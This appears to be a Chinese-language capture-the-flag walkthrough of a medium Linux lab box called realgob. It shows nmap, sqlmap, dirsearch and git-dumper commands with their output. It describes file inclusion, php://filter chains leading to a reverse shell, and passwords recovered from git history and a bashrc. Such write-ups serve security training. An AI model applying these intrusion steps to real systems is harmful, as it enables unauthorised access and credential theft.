Box Info
| OS | Linux |
| Difficulty | Medium |
Nmap
[root@kali] /home/kali/Report
❯ nmap 172.17.0.2 -sV -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-25 18:34 CST
Nmap scan report for 172.17.0.2
Host is up (0.000076s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 58:46:38:70:8c:d8:4a:89:93:07:b3:43:17:81:59:f1 (ECDSA)
|_ 256 25:99:39:02:52:4b:80:3f:aa:a8:9a:d4:8e:9a:eb:10 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://realgob.dl/
3306/tcp open mysql MySQL 5.5.5-10.11.8-MariaDB-0ubuntu0.24.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.11.8-MariaDB-0ubuntu0.24.04.1
| Thread ID: 8
| Capabilities flags: 63486
| Some Capabilities: LongColumnFlag, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, Support41Auth, IgnoreSigpipes, ConnectWithDatabase, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, FoundRows, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: SMf;1&jb.[aWoKfBUf~i
|_ Auth Plugin Name: mysql_native_password
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.08 ms 172.17.0.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.89 seconds
将realgob.dl添加到/etc/hosts
SQL injection
在noticias.php中发现存在SQL注入漏洞
[root@kali] /home/kali/Report
❯ sqlmap -u "http://realgob.dl/noticias.php?id=1" -p id --dbs 
似乎并没有什么用，其中的密码也无法破解
Dirsearch
[root@kali] /home/kali/Report
❯ dirsearch -u realgob.dl -t 50 -i 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Report/reports/_realgob.dl/_25-02-25_18-55-46.txt
Target: http://realgob.dl/
[18:55:46] Starting:
[18:55:48] 200 - 2KB - /about.php
[18:55:49] 200 - 467B - /admin.php
[18:55:52] 200 - 510B - /api/
[18:55:52] 200 - 510B - /api/v1/
[18:55:52] 200 - 500B - /api/v2/
[18:55:53] 200 - 475B - /assets/
[18:55:55] 200 - 0B - /config.php
[18:55:56] 200 - 521B - /database/
[18:55:59] 200 - 452B - /images/
[18:55:59] 200 - 504B - /includes/
[18:55:59] 200 - 22KB - /info.php
[18:56:00] 200 - 0B - /LICENSE
[18:56:01] 200 - 1KB - /login.php
[18:56:01] 200 - 475B - /logs/
[18:56:04] 200 - 0B - /pages/
[18:56:07] 200 - 0B - /README.md
[18:56:12] 200 - 484B - /uploads/
Task Completed 泄露了phpinfo
FilterChains
来到About页面点击Read More，发现URL中出现了一个?file=参数
尝试设置为/etc/passwd，成功读取
并且可以使用php://filter过滤器
在phpinfo中发现存在Oracle，因此可以尝试使用filter-chains攻击
Git-dumper
在linpeas输出中发现存在git泄露
[root@kali] /home/kali/Desktop
❯ git-dumper http://realgob.dl/desarrollo/.git/ ./realgob.git在其中一个提交中得到adm的密码，注意不是hash！！
adm:9fR8pLt@Q2uX7dM^sW3zE5bK8nQ@7pXRoot
adm用户并没有特殊权限的命令，也找不到其他的可利用文件。
看了题解才知道，在adm目录的bashrc里面（这谁能知道？？？
使用Cyberchef进行十六进制转换
得到密码是：dockerlabs4u
Summary
www-data：从网页上来看存在SQL注入和任意文件读取，配合filterchains甚至可以执行命令，从而反弹shell。
user：git泄露，查看提交记录得到用户的密码。
Root：这个就纯属脑筋急转弯了😓。